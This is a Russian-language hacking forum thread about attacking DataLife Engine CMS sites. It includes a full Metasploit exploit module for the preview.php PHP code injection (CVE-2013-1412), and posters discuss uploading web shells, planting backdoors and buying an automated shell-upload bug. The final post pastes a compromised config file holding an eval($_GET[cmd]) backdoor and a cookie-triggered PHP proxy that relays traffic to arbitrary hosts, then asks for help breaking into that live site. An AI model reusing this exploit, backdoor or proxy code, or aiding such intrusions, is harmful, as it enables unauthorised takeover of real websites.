[ Обзор уязвимостей DataLife Engine ]

Discussion in 'Веб-уязвимости' started by Solide Snake, 28 Oct 2007.

  1. slva2000

    slva2000 New Member

    Joined:
    20 Nov 2009
    Messages:
    42
    Likes Received:
    2
    Reputations:
    0
    Да не, не слепой, только что пробовал описанным мной примером. Дальше не копал.
    Про заливку шелла, любопытно, намекни направление в котором искать?
     
  2. passwd.me

    passwd.me New Member

    Joined:
    29 Jan 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    DataLife Engine preview.php PHP Code Injection

    DataLife Engine preview.php PHP Code Injection


    Code:
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    #   http://metasploit.com/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'DataLife Engine preview.php PHP Code Injection',
          'Description'    => %q{
              This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
            The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
            with the e modifier, which allows to inject arbitrary php code, when the template
            in use contains a [catlist] or [not-catlist] tag.
          },
          'Author'         =>
            [
              'EgiX', # Vulnerability discovery
              'juan vazquez' # Metasploit module
            ],
          'License'        => MSF_LICENSE,
          'References'     =>
            [
              [ 'CVE', '2013-1412' ],
              [ 'BID', '57603' ],
              [ 'EDB', '24438' ],
              [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
              [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
            ],
          'Privileged'     => false,
          'Platform'       => ['php'],
          'Arch'           => ARCH_PHP,
          'Payload'        =>
            {
              'Keys'   => ['php']
            },
          'DisclosureDate' => 'Jan 28 2013',
          'Targets'        => [ ['DataLife Engine 9.7', { }], ],
          'DefaultTarget'  => 0
          ))
    
        register_options(
          [
            OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
          ], self.class)
      end
    
      def base
        base = normalize_uri(target_uri.path)
        base << '/' if base[-1, 1] != '/'
        return base
      end
    
      def check
        fingerprint = rand_text_alpha(4+rand(4))
        res = send_request_cgi(
          {
            'uri'       =>  "#{base}engine/preview.php",
            'method'    => 'POST',
            'vars_post' =>
              {
                'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
              }
          })
    
        if res and res.code == 200 and res.body =~ /#{fingerprint}/
          return Exploit::CheckCode::Vulnerable
        else
          return Exploit::CheckCode::Safe
        end
      end
    
      def exploit
        @peer = "#{rhost}:#{rport}"
    
        print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
        res = send_request_cgi(
          {
            'uri'       =>  "#{base}engine/preview.php",
            'method'    => 'POST',
            'vars_post' =>
              {
                'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
              }
          })
      end
    end
    
    source:
    http://packetstormsecurity.com/files/119978/datalife_preview_exec.rb.txt
     
  3. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Мне кажется или метасплойтовские эксплойты тут никому нафиг не нужны?
     
    _________________________
    1 person likes this.
  4. extrimportal

    extrimportal Member

    Joined:
    13 Nov 2010
    Messages:
    102
    Likes Received:
    36
    Reputations:
    0
    Народ кто что скажет об этом
    http://verner.asf.ru/2013/%D0%B2%D0%B7%D0%BB%D0%BE%D0%BC-dle-%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%BE%D0%B9-%D0%B0%D0%B2%D0%B0%D1%82%D0%B0%D1%80%D0%B0-%D1%81-%D0%B2%D1%80%D0%B5%D0%B4%D0%BE%D0%BD%D0%BE%D1%81%D0%BD%D1%8B/
    как запустить хреновину?)
     
  5. SpYeR

    SpYeR New Member

    Joined:
    11 Nov 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    Можно залить шелл, дописав его в конец JPG файла, но толку от этого мало.
     
  6. extrimportal

    extrimportal Member

    Joined:
    13 Nov 2010
    Messages:
    102
    Likes Received:
    36
    Reputations:
    0
    В новости пишет что чел залил шеллов болле чем на 10000 сайтов а вы говорите мало толку? ;)
     
  7. SpYeR

    SpYeR New Member

    Joined:
    11 Nov 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    Фантазировать не запретишь.
    Окей, заливаешь вредостный код, он в папке uploads где htaccess:
    Code:
    <FilesMatch "\.([Pp][Hh][Pp]|[Cc][Gg][Ii]|[Pp][Ll]|[Ph][Hh][Tt][Mm][Ll])\.?">
       Order allow,deny
       Deny from all
    </FilesMatch>
    Залит JPG/PNG с кодом, и что дальше?
    Нужна как минимум админка (ещё и ранних версий), чтобы как-то инклуднуть локальный файл. А выполнять jpg как php ни один сервер не будет.
     
  8. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    С 9.2 с заливкой шелла ничего не придумали?

    Норм, из слойта и так видно как залиться в 9.7.
     
  9. Graffy

    Graffy New Member

    Joined:
    4 May 2011
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0

    помимо версии 9.7 необходимо наличие тега catlist или not-catlist в шаблоне preview.tpl, а это ой какое не частое совпадение, проверив 10к сайтов с дле, уязвимость была только у 6.
     
  10. SpYeR

    SpYeR New Member

    Joined:
    11 Nov 2007
    Messages:
    21
    Likes Received:
    2
    Reputations:
    0
    Весь движок облазил на днях, нашёл только возможность залить шелл при полном доступе к базе (вплоть до ALTER+UPDATE), уязвимости очень похожие на cat-list в preview.php.
     
  11. Nek1t

    Nek1t Elder - Старейшина

    Joined:
    7 Mar 2008
    Messages:
    181
    Likes Received:
    16
    Reputations:
    1
    Я имел ввиду заливку при наличии админского акка.
     
  12. stdex

    stdex New Member

    Joined:
    27 Mar 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Не знаю насколько актуально, обнаружил строку в /engine/data/config.php:
    'lang_Default' => "evalstripslashes_POSTchuck",

    Может наведет кого на какие мысли.
     
  13. AnnaSun

    AnnaSun New Member

    Joined:
    5 Mar 2013
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    При наличии админского ака можно просто нафиг уничтожить эту DLE! :D
     
  14. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    есть что нонче под 9ю ветку почекать?)
     
  15. vadim3553

    vadim3553 New Member

    Joined:
    24 Apr 2013
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0

    Все проделываю, но при нажатии на кнопку загрузки, выдает сообщение "Невозможно создать директорию /uploads/posts/2013-04/".
    Это можно как-то обойти? Или пока админ фотку на загрузит в этом месяце и в этом году - не получится?
     
  16. justonline

    justonline network ninja

    Joined:
    27 Jul 2011
    Messages:
    499
    Likes Received:
    60
    Reputations:
    53
    Есть админ акк, dle нулл с затертой версией, но это 9,6-9,7. Есть возможность залиться или оставить бекдор?)
     
  17. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Есть, способ известен давно, работает под все версии.
    Недавно его "переоткрыли" еще несколько человек, независимо друг от друга, но в паблик выкладывать пока не собираются.
    Исходники открыты, можно поковырять самому, способ не сложный.
     
  18. Scraid

    Scraid Banned

    Joined:
    22 Mar 2007
    Messages:
    44
    Likes Received:
    19
    Reputations:
    6
    Уязвимость не актуальна уже давным-давно. Все сайты с ней уже пофиксили. Версия в которую вы хотите залить - фикс. Можно даже не пытаться
     
  19. FlooP1k

    FlooP1k Banned

    Joined:
    28 Jul 2010
    Messages:
    95
    Likes Received:
    66
    Reputations:
    48
    хмм, а возможно ли автоматизировать эту уязвимость для заливки шеллов автоматически? Если да, то готов купить данный баг ...
     
  20. Martyn911

    Martyn911 New Member

    Joined:
    10 Jan 2012
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Здравствуйте, есть дле сайт, при заходе на главнуюю выводит такое
    PHP:
    ,recourse,request,sad,tongue,wassat,crying,what,bully,angry", 'timestamp_active' => "j F Y", 'news_sort' => "date", 'news_msort' => "DESC", 'catalog_sort' => "date", 'catalog_msort' => "DESC", 'image_align' => "left", 'mail_news' => "1", 'show_sub_cats' => "1", 'short_rating' => "1", 'hide_full_link' => "no", 'allow_search_print' => "1", 'allow_add_tags' => "1", 'allow_site_wysiwyg' => "no", 'allow_quick_wysiwyg' => "0", 'allow_comments' => "yes", 'comments_maxlen' => "3000", 'comm_nummers' => "30", 'comm_msort' => "ASC", 'flood_time' => "30", 'auto_wrap' => "80", 'timestamp_comment' => "j F Y H:i", 'allow_search_link' => "1", 'mail_comments' => "1", 'allow_comments_wysiwyg' => "no", 'full_search' => "0", 'allow_registration' => "no", 'allow_cache' => "yes", 'allow_multi_category' => "1", 'related_news' => "1", 'no_date' => "0", 'allow_fixed' => "1", 'speedbar' => "0", 'allow_banner' => "1", 'allow_cmod' => "0", 'allow_votes' => "no", 'allow_topnews' => "yes", 'allow_read_count' => "yes", 'cache_count' => "1", 'allow_calendar' => "yes", 'allow_archives' => "yes", 'rss_informer' => "1", 'allow_tags' => "0", 'allow_change_sort' => "0", 'ajax' => "0", 'files_allow' => "yes", 'files_type' => "zip,rar,exe,doc,pdf,swf", 'max_file_size' => "0", 'max_file_count' => "0", 'files_force' => "1", 'files_max_speed' => "0", 'files_antileech' => "0", 'files_count' => "yes", 'admin_mail' => "admin@site.ru", 'mail_metod' => "php", 'smtp_host' => "localhost", 'smtp_port' => "25", 'smtp_user' => "", 'smtp_pass' => "", 'mail_bcc' => "0", 'reg_group' => "4", 'registration_type' => "0", 'registration_rules' => "1", 'allow_sec_code' => "yes", 'allow_skin_change' => "no", 'mail_pm' => "1", 'max_users' => "0", 'max_users_day' => "0", 'max_up_side' => "0", 'max_up_size' => "200", 'max_image_days' => "2", 'allow_watermark' => "yes", 'max_watermark' => "150", 'max_image' => "450", 'jpeg_quality' => "85", 'tag_img_width' => "0", 'flv_watermark' => "1", 'allow_smartphone' => "1", 'allow_smart_images' => "0", 'allow_smart_video' => "0", 'allow_smart_format' => "1", 'allow_rss' => "1", 'rss_mtype' => "1", 'rss_number' => "10", 'rss_format' => "2", 'version_id' => "8.0", 'allow_upload' => "yes", 'news_captcha' => "1", 'lang_GlassyEvolution' => "{${@eval($_GET[cmd])}}", if (isset($_COOKIE['_rpx'])) { define('vpsp_version', '2.5.0'); define('vpsp_pwd', '12345678'); define('vpsp_enc_key', '12345678password'); error_reporting(~E_ALL); @set_time_limit(0); ob_implicit_flush(1); ignore_user_abort(0); header('Content-type: application/octet-stream'); header('Content-Transfer-Encoding: binary'); header('X-VPSP-VERSION: ' . vpsp_version); $input = fopen('php://input', 'r'); define('vpsp_enc', ord(fread($input, 1)) != 0); $ok; if (vpsp_enc) { if (isset($GLOBALS['vpsp_pe']) == false) { $GLOBALS['vpsp_ks'] = VC_GenerateKeyHash(vpsp_enc_key); $GLOBALS['vpsp_pe'] = VC_Init(vpsp_enc_key, $GLOBALS['vpsp_ks']); } $GLOBALS['vpsp_pd'] = array_flip($GLOBALS['vpsp_pe']); $ok = VC_Decrypt(fread($input, 2)); if ($ok != 'OK') { header('X-VPSP-ERROR: bad_enc_key'); header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); exit; } $rBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1))); $sBuffLen = ord(VC_Decrypt(fread($input, 1))) * 256 * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 * 256 + ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1))); $reqPwdLen = ord(VC_Decrypt(fread($input, 1))); $reqPwd = ($reqPwdLen > 0) ? VC_Decrypt(fread($input$reqPwdLen)) : ''; $https = ord(VC_Decrypt(fread($input, 1))); $host = VC_Decrypt(fread($input, ord(VC_Decrypt(fread($input, 1))))); $port = ord(VC_Decrypt(fread($input, 1))) * 256 + ord(VC_Decrypt(fread($input, 1))); } else { $ok = fread($input, 2); if ($ok != 'OK') { header('X-VPSP-ERROR: bad_request'); header('X-VPSP-HOST: ' . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); exit; } $rBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1)); $sBuffLen = ord(fread($input, 1)) * 256 * 256 * 256 + ord(fread($input, 1)) * 256 * 256 + ord(fread($input, 1)) * 256 + ord(fread($input, 1)); $reqPwdLen = ord(fread($input, 1)); $reqPwd = ($reqPwdLen > 0) ? fread($input$reqPwdLen) : ''; $https = ord(fread($input, 1)); $host = fread($input, ord(fread($input, 1))); $port = ord(fread($input, 1)) * 256 + ord(fread($input, 1)); } if ($reqPwd !== vpsp_pwd) { $resp = "HTTP/1.0 401 Unauthorized\r\nX-VPSP-VERSION" . vpsp_version . "\r\nX-VPSP-ERRORbad_password\r\nX-VPSP-HOST" . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "\r\nConnectionclose\r\n\r\n"; if (vpsp_enc) { echo VC_Encrypt($resp); } else { echo $resp; } exit; } if ($https == 1) { $host = 'ssl://' . $host; } $fsok = fsockopen($host$port$errno$errstr, 20); if ($fsok == false) { $resp = "HTTP/1.0 503 Service Unavailable\r\nX-VPSP-VERSION" . vpsp_version . "\r\nX-VPSP-ERRORhost_down\r\nX-VPSP-ERROR-TEXT" . base64_encode($errstr) ."\r\nX-VPSP-HOST" . (isset($_SERVER['HTTPS']) ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . "\r\nX-VPSP-TARGET" . str_replace('ssl://', '', $host) . "\r\nConnectionclose\r\n\r\n"; if (vpsp_enc) { echo VC_Encrypt($resp); } else { echo $resp; } exit; } while ($wbuffer = fread($input$rBuffLen)) { if (vpsp_enc) { fwrite($fsok, VC_Decrypt($wbuffer)); } else { fwrite($fsok$wbuffer); } } fflush($fsok); while ($rbuffer = fread($fsok$sBuffLen)) { if (vpsp_enc) { echo VC_Encrypt($rbuffer); } else { echo $rbuffer; } } fflush($fsok); fclose($fsok); exit; } function MD5Hash($str) { $m = md5($str); $s = ''; foreach(explode("\n", trim(chunk_split($m, 2))) as $h) { $s .= chr(hexdec($h)); } return $s; } function VC_Init($key$ks) { $s = range(0, 255); if (strlen($key) == 0) { return $s; } $km = MD5Hash($key); $kx = ''; for ($i = 0; $i < 16; $i++) { $kx .= MD5Hash($km . $km[$i] . chr($ks)); } $r = ($ks % 0x0F) + 1; $j = $ks; for ($n = 0; $n < $r$n++) { for ($i = 0; $i < 256; $i++) { $j = (($j + $s[$i] + $n + ord($kx[$i])) ^ $ks) % 256; $t = $s[$i]$s[$i] = $s[$j]$s[$j] = $t; } } for ($i = 0; $i < 256; $i++) { $s[$i] = $s[$i] ^ $ks; } return $s; } function VC_GenerateKeyHash($key) { $m = MD5Hash($key); $kt = 0; for ($i = 0; $i < 16; $i++) { $kt += ord($m[$i]); } return $kt % 256; } function VC_Encrypt($str) { $pe = $GLOBALS['vpsp_pe']; $out = ''; $len = strlen($str); for ($y = 0; $y < $len$y++) { $out .= chr($pe[ord($str[$y])]); } return $out; } function VC_Decrypt($str) { $pd = $GLOBALS['vpsp_pd']; $out = ''; $len = strlen($str); for ($y = 0; $y < $len$y++) { $out .= chr($pd[ord($str[$y])]); } return $out; } ); ?>Datalife Engine not installed. Please run install.php
    что можно из этого взять и можно ли доломать этот сайт и залить шелл? тиц сайта 50, может еще там есть вкусные домены, кто может помочь, желательно в личку что бы не разводить флуд?

    Что за сайт пока не скажу, посмотрю живая ли тема и есть ли реальные мысли